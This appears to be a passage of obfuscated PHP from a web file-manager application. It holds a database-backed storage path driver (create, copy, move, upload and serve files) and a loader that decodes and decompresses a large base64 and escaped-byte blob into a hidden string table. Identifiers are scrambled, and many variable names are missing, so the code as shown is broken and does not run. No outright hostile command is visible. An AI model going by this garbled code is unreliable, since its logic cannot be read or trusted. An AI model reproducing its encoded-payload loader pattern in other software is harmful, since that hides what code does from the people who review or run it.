gmdate($ӪԚ[1372], time() + $Ӕ); $۷ = (string) time() . $ӪԚ[73] . (string) (time() + $Ӕ); $ = array($ӪԚ[260] => $ѵС, $ӪԚ[263] => array(array($ӪԚ[265] => $㶕), array($ӪԚ[264] => $this->bucket), array($ӪԚ[266], $ӪԚ[267], $ӪԚ[12]), array($ӪԚ[270] => $Ѻ̱), array($ӪԚ[1373] => $ⱪ), array($ӪԚ[1374] => $this->accessKey), array($ӪԚ[1375] => $۷))); $ = json_encode($); $ = hash_hmac($ӪԚ[249], $۷, $this->secret); $ = sha1($); $о = hash_hmac($ӪԚ[249], $, $); $旍 = array($ӪԚ[265] => $㶕, $ӪԚ[270] => $Ѻ̱, $ӪԚ[278] => base64_encode($), $ӪԚ[1373] => $ⱪ, $ӪԚ[1374] => $this->accessKey, $ӪԚ[1376] => $۷, $ӪԚ[1377] => $о, $ӪԚ[198] => $this->getHost()); return $旍; } public function fileOutLink($) { $ț =& $_SERVER[ʇ]; if (substr($, 0, 7) == $ț[1378]) { $ = $ț[1379] . substr($, 7); } header($ț[164] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Ơ) { $this->pathParse = $Ơ; $this->model = Model($_SERVER[ʇ][1380]); } public function getPath($ŘǏ) { return trim($ŘǏ, $_SERVER[ʇ][8]); } public function pathFather($݌) { $ޣ = $this->parse($݌); $ޣ = $this->infoSimple($݌); return $ޣ ? $ޣ[$_SERVER[ʇ][182]] : !1; } public function pathThis($) { $į = $this->infoSimple($); return $į ? $į[$_SERVER[ʇ][32]] : !1; } public function getPathOuter($ț) { if (!$ț) { return $ț; } $ = $this->parse($ț); return KodIO::make($[$_SERVER[ʇ][445]]); } public function copyFolderFromIO($ڴ, $, $ġ, $, $ɼź) { $Ѿފ = $this->model->copyFolderFromIO($ڴ, $, $ġ, $, $ɼź); return KodIO::make($Ѿފ); } public function isParentOf($ͨ, $Ķԑ) { return $this->model->isParentOf($ͨ, $Ķԑ); } public function mkfile($Š, $ = '', $㊎ = REPEAT_RENAME) { $ҵ =& $_SERVER[ʇ]; $ތ = $this->parse($Š); $Š = $ތ[$ҵ[445]]; for ($ = 0; $ < count($ތ[$ҵ[1381]]); $++) { $ = $ތ[$ҵ[1381]][$]; if ($ == count($ތ[$ҵ[1381]]) - 1) { $Š = $this->model->mkfile($Š, $, $, $㊎); break; } $Š = $this->model->mkdir($Š, $, REPEAT_SKIP); } return $this->getPathOuter($Š); } public function mkdir($Ðċ, $ = REPEAT_SKIP) { $ =& $_SERVER[ʇ]; $ = $this->parse($Ðċ); $Ðċ = $[$[445]]; for ($Ƣ = 0; $Ƣ < count($[$[1381]]); $Ƣ++) { $Ăܿ = $[$[1381]][$Ƣ]; $Ðċ = $this->model->mkdir($Ðċ, $Ăܿ, $); } return $this->getPathOuter($Ðċ); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $Ҹ = $this->parse($); $ = $this->model->copy($, $Ҹ[$[445]], $, $Ҹ[$[86]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($ڟ, $Æ, $ = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $؊ = $this->parse($Æ); $¬ = $this->model->move($ڟ, $؊[$[445]], $, $؊[$[86]]); return $¬ ? $this->getPathOuter($¬) : !1; } public function copy($ß, $, $㛆 = REPEAT_REPLACE, $ = false) { $ۊ = $this->parse($); $滗Ҧ = $this->model->copy($ß, $ۊ[$_SERVER[ʇ][445]], $㛆, $); return $滗Ҧ ? $this->getPathOuter($滗Ҧ) : !1; } public function moveSameAllow() { } public function move($ħ, $, $ړְ = REPEAT_REPLACE, $Ҩ¦ = false) { $ = $this->parse($); $ӧ = $this->model->move($ħ, $[$_SERVER[ʇ][445]], $ړְ, $Ҩ¦); return $ӧ ? $this->getPathOuter($ӧ) : !1; } public function remove($٪, $ў = true) { return $this->model->remove($٪, $ў); } public function rename($ؙ, $ڌڷ) { $Ś = $this->model->rename($ؙ, $ڌڷ); return $Ś ? $this->getPathOuter($ؙ) : $Ś; } public function size($) { $ꘫ = $this->infoSimple($); return $ꘫ ? $ꘫ[$_SERVER[ʇ][78]] : 0; } public function infoSimple($٥) { return $this->model->sourceInfo($٥); } public function info($Ԝ) { return $this->infoParse($Ԝ); } public function infoAuth($կ) { return $this->infoParse($կ, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ڻ = false) { if (!$) { return $this->model->pathInfo($, $ڻ); } return $this->model->pathInfoMore($); } public function infoFullSimple($赔) { $ =& $_SERVER[ʇ]; $ = explode($[8], $赔); $ҽœ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $ҽœ); } public function infoFull($ۗ) { $ = $this->infoFullSimple($ۗ); return is_array($) ? $this->model->pathInfo($[$_SERVER[ʇ][183]]) : !1; } public function hashSimple($솤) { $ =& $_SERVER[ʇ]; $ = $this->infoWithChildren($솤); return $[$[519]][$[642]]; } public function hashMd5($) { $硝 =& $_SERVER[ʇ]; $ = $this->infoWithChildren($); return $[$硝[519]][$硝[517]]; } public function exist($˄) { $܅ =& $_SERVER[ʇ]; $ۨ = $this->parse($˄); if (!$ۨ[$܅[86]]) { return $this->isFile($˄) || $this->isFolder($˄); } $ = array($܅[447] => $ۨ[$܅[445]], $܅[32] => $ۨ[$܅[86]]); $유 = $this->model->where($)->find(); return $유 ? !0 : !1; } public function isFile($) { $濔 =& $_SERVER[ʇ]; $ = $this->infoSimple($); return $ && $[$濔[455]] == $濔[214] ? !0 : !1; } public function isFolder($Ҳ) { $؁ =& $_SERVER[ʇ]; $ = $this->infoSimple($Ҳ); return $ && $[$؁[455]] == $؁[90] ? !0 : !1; } public function listPath($ʶ, $ = false) { $ť֭ =& $_SERVER[ʇ]; if ($ʶ == $ť֭[12]) { return !1; } $ = array($ť֭[447] => $ʶ); if ($) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $̓פ = false, $ = null) { $泆 =& $_SERVER[ʇ]; $Ӱ = $this->infoWithChildren($); if ($̓פ) { return array($泆[226] => $Ӱ[$泆[226]], $泆[225] => $Ӱ[$泆[225]]); } return $ ? $Ӱ[$泆[226]] : $Ӱ[$泆[225]]; } public function listAll($–) { $ = IO::info($this->pathParse[$_SERVER[ʇ][86]]); if (!$) { return array(); } return $this->model->listAll($–); } public function getContent($ߡ) { return $this->model->getContent($ߡ); } public function setContent($̖, $; = '') { return $this->model->setContent($̖, $;); } public function fileSubstr($, $ͷ, $) { return $this->model->fileSubstr($, $ͷ, $); } public function download($, $ûѰ = '') { $ = get_path_father($ûѰ); $鹻 = get_path_this($ûѰ); $ = $this->model->fileInfoGet($); $̓ = IO::copy($[$_SERVER[ʇ][86]], $, !1, $鹻); return $̓; } public function setModifyTime($Ɯ̆, $ܳ = '') { $Ŷ =& $_SERVER[ʇ]; if (!$Ɯ̆) { return; } $this->model->where(array($Ŷ[461] => $Ɯ̆))->save(array($Ŷ[87] => $ܳ)); } public function upload($Ώۮ, $, $ = false, $䧹 = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $ = $this->parse($Ώۮ); $ = $this->model->addFile($[$[445]], $, $[$[86]], $, $䧹); return $this->getPathOuter($); } public function uploadFileByID($, $ݘ˒, $) { $ō =& $_SERVER[ʇ]; $ç = $this->parse($); $ɒ = $this->model->addFileByFileID($ç[$ō[445]], $ݘ˒, $ç[$ō[86]], $); return $this->getPathOuter($ɒ); } public function addFileByRemote($, $, $ = array(), $å = '', $׼) { $ =& $_SERVER[ʇ]; $Ȅ = $this->parse($); $å = empty($å) ? $Ȅ[$[86]] : $å; $ˣԛ = $this->model->addFileByRemote($Ȅ[$[445]], $, $å, $, $׼); return $this->getPathOuter($ˣԛ); } public function uploadLink($笋, $ = 0) { $ݭ =& $_SERVER[ʇ]; $ = $this->parse($笋); $ȥЖ = _get($GLOBALS[$ݭ[7]], $ݭ[1382]); $Ѯ = _get($GLOBALS[$ݭ[7]], $ݭ[1383]); $笋 = Model($ݭ[644])->createFileName($[$ݭ[86]], $ȥЖ, $Ѯ); return IO::uploadLink($笋, $); } public function fileNameAuto($ג, $Þ, $Ċ = REPEAT_REPLACE, $ʓ = false) { return $this->model->fileNameAuto($ג, $Þ, $Ċ, $ʓ); } public function fileNameExist($Ӣ, $ǎ) { return $this->model->fileNameExist($Ӣ, $ǎ); } protected function _fileOut($̬, $֚ = false, $ޘ = false, $势ĉ = '', $۷ = false) { $ޤε =& $_SERVER[ʇ]; $尺 = $this->model->sourceInfo($̬); if ($尺[$ޤε[455]] == $ޤε[90]) { header($ޤε[1384]); die; } $ = $this->model->fileInfoGet($̬); $势ĉ = $[$ޤε[517]] ? $[$ޤε[517]] : $势ĉ; $ = is_array($GLOBALS[$ޤε[171]]) ? $GLOBALS[$ޤε[171]][$ޤε[32]] : $尺[$ޤε[32]]; if ($۷) { return IO::fileOutServer($[$ޤε[86]], $֚, $, $势ĉ); } IO::fileOut($[$ޤε[86]], $֚, $, $势ĉ); } public function fileOut($, $ʎ = false, $ = false, $ٻ = '') { $this->_fileOut($, $ʎ, $, $ٻ); } public function fileOutServer($橒Ԁ, $؅ = false, $ّ = false, $ = '') { $this->_fileOut($橒Ԁ, $؅, $ّ, $, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[ʇ]; $ž؈ = $this->model->pathInfo($); if ($ž؈[$[455]] == $[90]) { show_json($[1385] . $, !1); } $󬘰 = $this->model->fileInfoGet($); $ž؈[$[172]] = $󬘰[$[86]]; $GLOBALS[$[171]] = $ž؈; IO::fileOutImage($󬘰[$[86]], $); } public function fileOutImage($˭, $Ǡ = 250) { $this->_fileOutImage($˭, $Ǡ); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($ʼn§, $ = '') { $Ē = $this->model->fileInfoGet($ʼn§); return IO::link($Ē[$_SERVER[ʇ][86]], $); } protected function parse($ι) { $ͳ =& $_SERVER[ʇ]; if (strstr($ι, $ͳ[8]) === !1) { return array($ͳ[463] => intval($ι), $ͳ[86] => $ͳ[12], $ͳ[1381] => array()); } $ = explode($ͳ[8], trim($ι, $ͳ[8])); if (count($) < 2) { show_tips(clear_html($ι) . $ͳ[1386]); } return array($ͳ[463] => intval($[0]), $ͳ[86] => $[1], $ͳ[1381] => array_slice($, 1)); } } goto bᷰ۵; cМ: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(strrev('ʥ'), base64_decode('2pfHuqj7')); $_SERVER[ʇ] = explode("\174\1\174\3\174\3", gzinflate(substr(base64_decode('H4sIAAAAAAAAE8V9CXgb1dUotFAgpX8XAuW1BSYmwUu0OM6KE8eRZdkWkS0jyVmwnQ==')."\311\110\32\311\143\113\32\131\63\362\226\204\226\65\20\10\145\57\153\51\15\141\47\354\201\262\266\100\113\27\150\201\56\100\200\226\55\1\312\126\332\102\13\24\376\167\227\163\227".base64_decode('Gcnwv++973uBRPeeu8xdzj333HPPOfeDj16+4LkdG/fe+MWNX9x9zrkP/OIpGib/fQ==').strrev('˞"}v>/;vڗMhWR΃Ƚc8')."\xf5\x6e\xe7\xf6\x2f\x35\xa3\xac\xb4\x64\x33\xfd\x51\xa\xa6\xad\xe8\x13\x86\x65\x5b\x14\x90\x32\xb\x19\x23\x4b\xc3\x46\x81\xfe\xfa\xe9\x4f\x5f\x2c\x52\xd2\xf3\xa6\xad\xd3\xa8\x8f\xfe\xa8\xd0\x2a"."\362\257\65\232\63\130\272\332\23\115\250\361\276\336\336\120\54\1\231\232\345\364\274\231\206\120\121\53\151\171\370\176\121\57\131\250\65\162\165\152\321\54\352\5\7\104\0\322\232"."\255\45\65\13\152\152\157\123\333\103\275\221\350\132\65\261\266\67\4\71\222\352\150\131\57\115\322\30\11\306\155\255\144\47\214\274\316\163\214\227\170\273\332\102\235\341\36\45\21".strrev('iWf2jrPP,oJeep@#E Q8wwhC8D ').base64_decode('oMPQc2kaLGisOfZkEUIJHkLTVCjncjTSw0NpPaOVczBa7XKkWDLyGuv0Sn2SQ2lAKw==')."\333\246\121\110\321\110\150\302\56\151\2\216\332\232\102\23\255\27\240\252\170\50\22\12\46\24\334\100\245\43\26\355\126\140\22\362\232\145\353\45\145\165\127\50\26\122\160\243\133"."\152\111\137\153\25\300\227\36\64\24\112\40\22\121\246\253\301\326\363\105\126\15\55\123\245\262\150\254\75\24\123\332\326\52\142\204\122\146\76\157\26\174\250\26\64\223\266\324\324"."\120\54\106\3\36\100\357\110\30\117\32\104\242\35\35\361\20\217\101\347\216\215\240\226\314\7\374\164\304\322\231\234\255\216\151\271\62\103\323\21\372\133\13\77\360\153\132\200\272".base64_decode('o0bBKAOaQhWmyZcVBMost84gehoCeVTehHJJgCVZLgMtzDEabFlOf5dCsaSK0/SSrQ==').base64_decode('6oWUmTYKsHxbAQ01e6i9ZKAMNJ4xc2kWtowp6FzGyOk95bychUdTQ0YuXWIr7rNy0g==').strrev('/\\t36۬'."\0".'CJRj^qI|%W`/h')."\xae\x19\x66\x7\xaa\x28\x5a\xb6\x65\x60\x99\x64\xeb\x30\x4b\xf9\x76\x44\x2b\xe0\xfb\x68\x9d\x18\x7d\x55\x12\x46\xd8\x4a\x49\x4b\x23\xe6\xaf\xeb\x3f\xc1\xfb\xe9\x60\xff\xa\xf4\x4f\x3d\x10\xc3\x1".base64_decode('aNOQnsup+oQOSymfXmixwfBbSaPgRxAaDUfVIc0a6k4vVEkpRmPT+oSvOFSEdc6X9g==').base64_decode('gAPV8dD1mHZIotQ5M6Xl5C7S8JBtF+N6IY1HArpijhfISBV1HTK1e5S00q2sVbqajQ==')."\146\213\25\314\347\170\210\365\216\303\54\16\264\47\330\164\246\63\200\244\154\243\250\201\17\32\26\241\171\142\301\152\305\142\316\110\151\266\141\26\374\146\312\326\155\257\145\227\164".base64_decode('DWoMpFK6ZXmDZsEumTlvIJczx73RkpE1Cs1KA5BflIiWuReTxGZYuzVLFYw4+DMNLQ==')."\145\73\343\135\302\326\44\317\135\322\12\126\106\57\171\103\260\62\232\25\324\130\116\27\131\266\166\303\52\232\226\201\233\327\254\150\266\255\245\206\60\115\21\325\267\174\106\176\243".base64_decode('kDMKekXe0ETRKOkWa6vS2Z2ASlDture3pGXzWrNSLCfRyMBKrQKjuWFompUUjnqUfA==')."\331\262\275\45\35\21\47\3\155\200\60\310\341\214\267\33\257\53\103\117\173\343\210\206\3\170\176\343\2\5\241\216\302\322\50\264\53\221\350\125\303\35\150\223\356\11\251\335\201"."\x44\xb0\xb\x9a\x6d\x6b\x59\xd6\xe6\x8\xa2\xcc\xbc\x4a\x6\x5c\xe3\x45\xeb\xb\x23\x57\xf\xea\xab\x0\xf6\x9a\xe3\x7a\x9\x7d\xb8\x6d\xb2\x59\x19\x31\xd3\x49\x73\xc2\xc7\x92\x70\xe6\x38\x22\x34".base64_decode('LDOe7qLtjWmFLB6f5KStW25S1Ya2dF+GLmZfUs+YJeiNNZZ1zkVEL2TtIVZ3PBRbFQ==').base64_decode('iqnxaEdidSAGHEABIdIEaw3+es4b09NodlI2K6cV8cCyPHj94I+zVLymWFok3InHrg==')."\335\153\241\114\136\71\27\253\73\142\344\15\334\75\233\247\220\301\106\354\101\47\64\310\117\372\334\62\140\65\324\15\244\347\326\173\321\277\15\365\375\3\355\276\206\301\126\277\41"."\312\370\347\371\346\51\115\215\213\224\136\304\257\30\132\116\201\116\127\344\150\124\242\53\235\303\42\20\276\140\26\364\317\30\34\274\341\111\224\301\65\254\24\30\13\35\333\27\212"."\47\324\356\120\242\53\332\16\137\17\5\40\24\61\351\312\146\275\355\247\77\203\200\0\203\364\107\65\254\16\151\347\301\121\116\241\124\63\71\214\46\243\133\147\144\30\146\76\234".strrev('PFtpOSZK3.A|69݉ :>Ҳ')."\142\256\214\160\306\217\277\220\30\52\347\223\100\364\21\333\230\325\155\301\225\131\223\210\165\311\263\315\15\355\220\166\270\335\261\205\101\314\257\342\171\36\360\25\13\331\372\331\120"."\227\332\264\260\21\3\0\105\241\213\210\75\55\353\225\143\340\113\231\150\121\164\153\43\172\63\356\24\220\230\245\4\312\42\22\355\131\212\267\213\26\367\232\302\363\224\363\345\121"."\x25\xa4\xce\xa0\xc9\x37\x38\x7a\x0\x58\xea\xdc\x2e\x14\xbd\x54\x32\x4b\xb3\x20\x7\x9\x2b\x64\xcf\xc1\xf3\x6\x95\xdb\x7c\x7\xb7\xd0\xf2\x61\xe1\x21\x93\xef\xf8\x66\x9\x42\xcd\x7e\xe8\xf7\x9c"."\xa6\xe\xb6\x1f\xfa\xe3\xf3\xd1\xff\x62\xf3\x4b\x9b\x79\x8d\x6d\x25\x64\x13\xd0\xd3\x74\x17\xa0\xa0\x6\x47\x4a\x97\xae\x9\x36\xc6\x2e\xd9\x26\x86\x96\x1c\x59\x10\x3e\xd\x99\x80\xd7\x68\xde\xa0"."\111\145\336\66\326\312\264\236\323\31\56\14\351\154\43\155\204\154\150\354\70\246\144\70\312\42\16\31\101\5\7\143\130\61\124\22\157\173\54\276\32\37\51\4\0\357\375\60\363"."\42\230\103\343\36\45\270\57\342\275\45\75\143\0\271\52\40\324\354\326\112\43\254\143\250\244\130\65\70\42\255\250\216\276\110\104\15\106\173\22\350\104\102\41\253\143\341\104\210"."\255\340\100\273\32\10\366\322\30\347\111\10\15\256\334\140\51\144\254\11\46\31\65\302\57\70\1\264\251\25\315\202\245\173\123\120\102\234\127\52\222\322\142\243\4\72\53\66\127".base64_decode('13454dXyU948IgFe3jwnm6LABkq5nTBMk9j/8OChVcj4o95oHAq0YijiUZN8sfT2QQ==').base64_decode('Ul5Ckc4QAGcAVg1pwHkGVsfZ3lVG+UvGlCa61MrawzqSzwmW19krr5h5VOUCb1d3IA==')."\xe8\x8d\x77\x5\x9a\x16\x2e\xa2\xd0\xb5\xf9\xf4\x40\xa2\xcb\xb0\x6\x8e\xe3\x71\x18\xb7\x71\x6b\x81\x5a\xd2\x11\x79\x60\x35\x37\x35\xce\x63\x8b\x17\x31\x1a\x52\x7b\xd6\x7a\xf3\x5e\x5c\xb\x1e\x32"."\137\143\143\43\253\153\356\42\145\10\121\45\100\137\263\220\46\323\302\316\31\345\324\10\133\41\132\212\361\174\370\230\154\171\307\15\106\120\147\163\366\170\166\45\272\314\166\156\35"."\120\105\231\360\166\252\226\302\37\123\121\215\166\331\222\207\6\255\243\64\52\144\60\126\226\102\265\134\26\215\262\75\224\227\201\142\246\151\134\247\34\26\237\54\76\212\170\154\253"."\xed\x66\x6c\xdd\x23\xe6\x6a\x92\x6d\xd9\xd5\xda\xb0\xa6\x5a\x1b\xd6\xb8\xda\xb0\xa6\xb2\xd\x14\x64\x19\xd9\x2\xea\x25\xdb\x93\x12\x5d\xe1\x9e\x95\x6a\x77\xb4\x3d\x14\x51\xc3\x3d\x68\xb\x4e\x54".base64_decode('wvt62wNspcrwtmiiywHtQ5vwqkAk7M4eWhOOJ+JVkxCsL+RKaW9Te2OhjvAaHu0Ihw==')."\x22\xed\x71\x35\x18\x8\x76\x89\x3c\x3d\x81\xee\x10\xdf\x79\xf5\x5c\xda\xf2\x3b\xf3\xab\x88\x9b\x88\x73\x71\x87\x3a\x86\x45\x37\xc\xb\x55\x87\x84\x41\x65\x67\x67\x55\x10\xb\xc4\x58\xea\x30\xe0".base64_decode('0F0sMCI9URmSlhmvww9VebYb5DWgkRrjCOvoT70SiCt2UeV0PznJg6QbLI62Mvi+Ag==').strrev('(ohԅHFNk'."\0".'fρ&H@'."\r".'"r85?bMT EM').base64_decode('FsAyJXV1LNrTCQXGh3TWgDAMfx07aIBoyRZbDzolaEzGIAZ92GRDuZH+HAWkAB1JgQ==').base64_decode('shTYqCfxLsy4KBbIILLHdlCzzL+WNM0cI8iIEeY7AxdNDVsMSSbYnjKXkzJA3ejKUA==').base64_decode('j8owi8YkbKSAUCwWjcGA2OYIk0/QxFgozsg5JpsGGy6/by5gsY6YDfi8f93A+Ny6fg==')."\357\134\337\40\12\324\67\254\240\121\210\15\370\34\121\306\300\225\113\274\64\76\37\324\131\255\365\315\3\376\1\177\135\153\163\177\300\73\245\171\247\32\275\107\173\7\21\333\127"."\x3f\x17\x0\x83\x1b\x9a\x3c\xb\x36\xe1\xc\x28\x63\xeb\x91\x83\xe8\xa7\x65\xa0\x75\xce\x80\xf7\xa8\xe3\xd7\xaf\xe8\x1f\x18\xac\x6d\x9e\x3b\x6b\xc0\x77\xe4\xc0\xf8\x60\x43\x7d\x2b\xfb\x4e\xaa\x5c"."\102\234\45\243\130\250\251\351\271\165\250\111\350\334\300\263\24\310\336\46\145\140\11\123\106\121\100\67\54\332\304\340\150\16\365\254\50\321\357\35\230\73\330\52\225\223\100\356\157"."\x21\x4a\x8a\x36\xda\x21\x9e\x2f\xe0\x3d\xe\xf7\x8c\x17\xc5\xeb\x1e\xf0\xa3\x5c\x48\x89\x6d\x9\xaf\x8b\xa4\x96\x2\x3a\x80\x68\xa4\xe0\xda\xed\x12\x97\x59\x39\x4f\xb4\x1b\xe6\xd0\xdf\x4d\x6c\x22"."\263\372\4\337\277\62\106\11\260\263\134\60\106\31\327\134\320\107\41\140\332\14\277\223\272\75\256\63\364\100\160\107\34\41\7\243\373\50\111\212\345\244\75\203\10\27\244\355\226"."\61\171\105\25\237\44\306\171\14\155\43\60\117\7\100\156\53\245\25\365\270\324\103\125\115\4\332\42\41\225\121\30\240\304\54\116\250\142\33\27\150\243\256\11\212\312\350\103\112".base64_decode('nFXJyR1WvjWaUwhhoJx7M5HtW+UiZsIVNONobBW0gSstyxU65FBOlSegqDGGEEuedA==').base64_decode('segxhYI2FcUMWYh1Zsyrv25goNyvpwf7EeJr3szghvmb6tlx1j+A/rBIoIqUWeXUUA==').base64_decode('RYyYD7eDixUdEZ5Mo2aJc8BFx2nRNm0t56gigSGMNDE+CgRsdLYjgmJhnk0SzxNy2g==')."\xc3\x5\x5a\x9c\x11\x92\xe4\xc3\xb8\x44\x5c\xb7\x7d\x3c\x87\x47\x4a\x54\x51\xdc\x71\x55\xd2\x52\xc3\x88\x7d\x1\x2d\xa7\xa0\xb4\xd5\x51\x31\x67\x9c\x9c\x2d\x1d\x32\x7d\x4b\xd7\x4a\xa9\xa1\x8e\x72"."\x2e\x67\xf3\x23\x6b\xce\x18\x81\x2f\xc0\x5a\x81\x2b\x6\x2f\xec\x6\x73\xab\x15\xed\x30\x4b\x4c\x3a\xd4\x0\xcd\xa8\x69\xa8\x96\x31\x5c\x28\x98\xe9\xa4\x8c\x6a\x62\x93\xed\xc\x20\x76\x26\xa1\xd4"."\x31\x71\xb8\x12\xee\x51\xda\xa2\xd1\x48\x28\xd0\xa3\xe0\xfd\x1c\xf6\x21\xc4\x2c\xc4\x43\xbd\x1\xb4\x89\x61\x39\x53\x3c\x11\x2\x9\x7d\xb8\xdd\xcb\xea\x5d\xe3\x65\x7\x65\x1e\x30\x60\xd8\xcd\x22"."\345\33\165\133\105\147\317\21\66\227\362\121\33\237\41\74\370\300\353\301\274\205\7\265\332\203\317\310\36\161\102\363\10\161\263\147\314\320\307\111\200\237\236\74\160\250\362\210\323"."\75\4\303\355\36\303\152\47\207\103\362\1\222\304\232\200\116\325\350\160\223\323\46\75\264\71\21\175\114\317\171\330\271\337\303\332\350\141\142\17\17\21\127\264\103\263\372\320\162".base64_decode('gmaRIKKaQx6MQBh/PUIA7kGHcb1EssDAiHOlR5w5PdmSWS72sm9KMdosAIg2c0DMNA==').base64_decode('bQ+TpHhkkQq0IsDWSdXhrN4bMv7uRgB+4aTKUfqcyaqcD6c0aQOtEcRVm9gu58hDhA==')."\x39\x9c\xfb\xc4\x3\x2e\x42\xab\xc4\x42\xc5\x1d\xe8\xd0\xe0\xaa\x85\x56\x2b\x87\x39\x82\x16\x9c\x88\x2a\x64\xdd\xe2\x96\x43\xf0\xba\x6e\x69\x81\xfb\xfe\x3\x7f\x34\xa1\x65\xe3\xd2\xe7\x6c\x2d\xcb".strrev('c`Osꁭ[5FV3%Jd'."\r".'+6J').base64_decode('nc+vY418/uqEfhESGC0KJoI2FpPhONrUOnJsUJrkZCDAHmcMLy4fIcjkIjHOJVORUA==').strrev('XxF&qG(Y'."\n".'i'."\n".'tf8+3a&9BG')."\x54\xa9\x44\x3c\x3c\xdc\xf2\x20\x60\x74\x20\xdd\x17\xbb\x13\x3\x45\xc5\x66\x58\x6\xce\x4f\xb3\xe0\xc\x86\xe5\x7a\x10\xd2\x19\x4c\x4c\xad\x8c\x97\x12\xb9\x11\x0\xd6\x2e\xc7\x77\x71\x54\xac\x29"."\x86\x12\xa\xfe\x80\x47\xe2\x55\x30\x49\xf1\x8a\xd5\x21\x45\x9d\x43\xee\xc2\x48\xd7\x16\x8a\x87\xa8\xd7\x28\x4c\x1a\x85\xb8\x91\x2f\xe6\x2a\xa0\x62\x17\x16\x4c\x0\x5e\xdc\x22\x46\xb1\x72\xba\x30".base64_decode('3USwiIbW74HrOk/OKIxIG7SQwKHW46JS26EmV8uhIimLGAEWdaxuwP8hrSSGltEkTA==')."\x18\x78\x7e\xb\x67\x11\x51\x29\x5b\x46\x1b\x13\xec\x8a\xa3\x8c\x44\x59\x2c\x7b\x92\xf5\x45\xe\x3a\x2b\xa5\xd1\x76\xf\xf9\xed\x42\x5d\x91\x17\x2f\x9f\x2c\x4c\x55\x58\x26\x4a\x90\x10\x65\x88\xa0"."\221\103\77\244\43\11\323\203\305\305\350\207\156\352\354\36\227\144\142\253\240\234\157\7\361\63\16\257\102\344\200\161\151\150\370\353\30\71\1\326\102\225\4\4\234\34\71\231\3"."\332\222\0\47\366\210\173\317\241\275\255\344\303\53\246\23\357\120\154\114\50\261\223\61\60\256\243\176\102\365\242\206\170\105\232\234\133\110\376\60\361\27\233\5\33\113\261\340\234"."\163\116\103\131\321\40\74\234\152\145\73\60\76\127\217\167\224\114\316\352\362\175\336\235\51\110\316\222\374\72\336\265\67\113\343\341\340\47\52\100\122\31\67\147\341\202\272\242\230".base64_decode('26iy7VAQuyHQ0nmj4CvR7cyHTgigVOFplJgvQXU20FsY2P42uebZNk107Cz5SujLog==')."\101\22\305\3\162\101\156\330\361\256\50\263\14\274\26\13\45\110\264\333\311\31\261\222\361\242\306\110\66\347\332\30\366\222\63\106\131\220\121\322\144\111\343\201\304\43\234\303\305"."\x44\x21\x94\x36\x6c\xc\xc1\xcb\xcc\x64\x97\x16\x22\xa3\xd8\x26\x5\x4c\xa6\xd3\x64\xbb\xa9\x98\x62\x71\x5c\xf0\xcc\x71\xe4\x74\xb2\x8\x0\x6c\x20\xfb\xb8\x4f\x70\x34\xd5\x75\x47\x52\x66\x11\xe6".strrev('8>'."\r".' rYBFCҊ"'."\n".')RIK&R)YYcʣR]')."\7\112\45\206\246\264\233\370\332\21\1\145\20\246\162\161\266\306\252\355\121\264\362\320\230\120\222\242\125\341\17\373\350\42\367\151\351\164\224\135\275\312\341\312\254\262\100\261\172".base64_decode('RURjjVclxapnD+RyQqfFHZ+2CF3cciEZMm2xDnKCZRfI1WD87DI9P+6+WnUS5On5lA==').base64_decode('aUiZmMbqcbQjB4eMgs7kLBmjZFWjTP+fGeLKkccrZDp0wWmS6Bkra47p8kGBy1cFJQ==')."\342\233\163\5\313\1\333\276\24\121\155\7\37\25\43\365\113\313\311\201\41\150\371\322\361\300\33\123\70\352\263\246\301\131\167\76\235\111\237\11\15\234\340\373\251\134\10\47\341".base64_decode('uZQrFXzbZ+TnlQseTs6HcBcnTNdWlsxruerW60/5y1U0fNcN/zhx622AjpmhYYvxyA==')."\33\367\331\370\5\24\42\141\241\257\173\312\232\111\363\333\217\36\334\171\306\361\137\253\335\271\157\350\53\106\354\52\317\255\327\315\210\57\233\175\314\114\63\274\374\133\376\123\357"."\xbd\xfd\xf9\x83\xb3\xe3\x17\xde\x7e\x7b\xcd\x75\x1f\x1d\xb1\x2d\xff\xf2\x7f\xce\xa9\x9\xd\xfe\xc8\x77\xdc\x1d\x1d\x5f\xbe\x63\xc5\xb7\x97\xae\x38\x69\x9f\xee\x27\xcc\xf8\x61\x1f\x1e\x72\xf1\xb"."\107\217\375\340\266\157\4\236\370\355\175\223\363\377\161\326\137\226\166\74\133\333\72\365\367\207\153\133\17\235\265\154\237\153\367\253\335\373\237\306\330\376\335\21\105\75\300\363\362"."\41\133\176\362\324\360\165\127\131\63\376\166\337\272\27\377\176\353\346\23\317\271\374\133\67\314\371\364\256\363\326\77\363\263\211\307\72\317\177\146\333\327\147\157\74\367\36\337\227"._kodDe('KQIYUdRXpi7T84TtH0hUVNIhLSKX7vCw/q+T8ZbWykNEcA2ZV8XtxFZxIujGz9sUNAs=')."\x98\x38\xff\x37\xe7\xaf\xd8\x73\xc7\x65\x93\xff\xfe\xc7\xd2\x5d\x1f\xcf\x3d\xf7\xb1\xd6\x8f\xdf\x6e\x38\xe2\x9f\xfb\xfd\xa7\x7f\xc7\x23\x27\x75\xdc\xfb\xf3\x47\x9f\x7b\xfc\x83\x55\x3f\xb9\x6e\x4e"."\370\204\257\206\77\170\344\324\337\173\76\270\166\353\140\353\366\13\106\136\31\375\264\260\334\374\153\307\362\237\175\277\361\366\356\326\47\312\257\177\374\324\316\257\135\372\141\171\323"."\302\332\233\36\277\351\222\335\127\134\375\366\357\357\331\172\376\75\327\234\272\360\361\233\277\162\302\336\63\366\355\271\156\354\153\27\5\37\172\374\207\247\334\163\312\370\317\237\374"."\x47\x6a\xc3\x2\xcf\x5\x87\xde\xb0\xf6\